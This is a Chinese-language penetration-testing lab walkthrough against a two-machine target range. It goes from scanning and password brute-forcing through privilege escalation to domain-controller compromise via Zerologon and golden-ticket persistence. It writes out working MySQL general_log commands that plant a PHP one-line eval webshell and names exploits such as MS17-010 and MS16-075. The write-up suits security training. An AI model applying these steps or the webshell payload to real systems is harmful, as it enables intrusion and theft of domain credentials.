实验环境
本次实训的环境是由虚拟机搭建的靶场,靶场由两台虚拟机构成,分别为WIN7、WINSERVER2008,由图拓扑结构简单,不予展示,渗透测试所用系统自行安装。win7作为一台Web服务器,安装了双网卡,如下所示,NAT模式模拟外网,仅主机模式模拟内网。
图2-1 win7 网络配置图
WINSERVER2008作为一台域控制器,处于内网中,单网卡,网络模式选择仅主机模式。
图2-2 winserver08 网络配置图
- 渗透思路
首先信息收集à寻找薄弱资产àgetshellà进入后渗透阶段à提权à内网信息收集à横向移渗透à权限维持
- 步骤描述
5.1、配置环境:
将下载好的虚拟机导入VMware并启动:
5.2、Web端信息收集:
使用goby对存活以及端口进行扫描:
发现存在192.168.1.144主机,查看其端口:
访问80端口,可根据信息得到网站的绝对路径,以及搭建网站的中间件,语言,cms,系统信息等。
使用dirsearch对目录进行探测:
发现目录/phpMyAdmin
5.3、getshell:
5.3.1、方法一:
根据80端口cms目录下的网页提示找到后台地址,发现存在验证码复用,使用burp爆破,得到密码123.com 登录到后台:
然后通过修改前台模板中的index_index.php文件,插入一句话木马,即可获得webshell:
使用蚁剑连接getshell:
5.3.2、方法二:
访问/phpMyAdmin,并对账号密码进行暴力破解得到账号密码为:root/admin123,成功登陆:
输入show variables like '%secure_file%';
查询下是否能直接写入shell。执行成功,这里secure_file_priv
的值为NULL,说明不能使用into outfile
的方式写入shell:
这里尝试日志写入shell。
在这里简述下:general_log和general_log_file:mysql打开general_log开关之后,所有对数据库的操作都将记录在general_log_file指定的文件目录中,以原始的状态来显示,如果将general_log开关打开,general_log_file指定一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,通过访问general_log_file指定的文件来获取webshell。
第一步、首先开启日志记录:set global general_log = "ON";开启成功
第二步、查看当前的日志存放的目录:show variables like 'general%'; 可以看到当前日志存放的目录为C:\phpstudy\MYSQL\data\stu1.log:
第三步、通过general_log_file来获取webshell,先指定一个文件,没有文件会创建一个新文件,执行语句:set global general_log_file = "C:/phpStudy/www/1.php";:
指定成功,接下来再执行的操作都会记录到1.php这个文件中:
第四步、执行SELECT '<?php eval($_POST["123"]);?>' 也就是在1.php中写入一句话木马,连接密码123,执行成功,意思就是已经写进去了:
使用蚁剑连接成功:
5.3.3、方法三:
这里可以使用goby在探测主机和端口存活时检测到的漏洞,ms17-010:
使用msf检测该漏洞是否存在:
发现漏洞存在,接着使用exp利用该漏洞:
可以直接得到system权限;
5.4、提权:
通过方法一、二得到的只是普通用户权限,我们需要进行提权:
制作后门:
msfvenom 制作一个名为ssy的exe后门:
通过蚁剑上传msf的木马:
Msf设置监听,并运行msf的木马,使其在msf上线:
使用msf的模板,快速扫描目标机存在的内核漏洞:
使用ms16 -075进行提权:
提权成功!
5.5、内网信息探测:
将msf派生给cs:
派生成功:
利用cs插件,搜集内网信息:
Hashdump:
端口扫描:
5.6、横向移动渗透:
使用msf添加路由:
设置代理:
使用代理,并利用cve_2020_1472:
首先进行置空:
然后dumphash:
使用hash登录:
恢复:
获取注册表转储文件,默认存在目标机C:\目录下
通过注册表转储导出HASH:
运行结果如下所示,域控密钥 (HEX) 为: d44c67d86b6aaf9936308aa70725fdff403e5b45b170edd4bccf3782850d5eec7d22ca16a7574f34e30ea2045b1751601d98ed1eea3a684583f4dad021af9abde1cbbb8472f1c87c913ae5792a9b54a91e3190ecc9e38f0330bdc6ae8d0a5510aa5918707c3ad15d4223635ecaff2ea04fb8256b190f3f40704b945e31bd55e2beb142c94bc90f94281d489749f67f7899f2f871fd44fd1ca219b713620852ced8910efcabe89aae0c975e6ab33ecbed9e26d9f69888a1c17249aeba585709648b727742300b7166147e138bfd0097a5e08160ec3ae5c34b84bd31e99e6d49b403fec9bcd0c9bdff889e2e83a71ea465
导入相应数据
再次dumphash发现已经无法得到数据:
5.7 权限维持
通过制作黄金票据进行权限维持:
首先通过进程注入得到派生用户tom:
得到普通域用户tom:
利用普通域用户制作黄金票据:
利用前面hashdump已经得到的krbtgt用户的hash,还需要得到域的SID:
利用命令whoami /user 得到域的SID:
用shell klist purge清除已有票据:
然后利用知信息制作黄金票据:
利用shell klist查看已有票据:
利用shell dir \\OWA\c$尝试访问域控C盘,发现可以成功访问: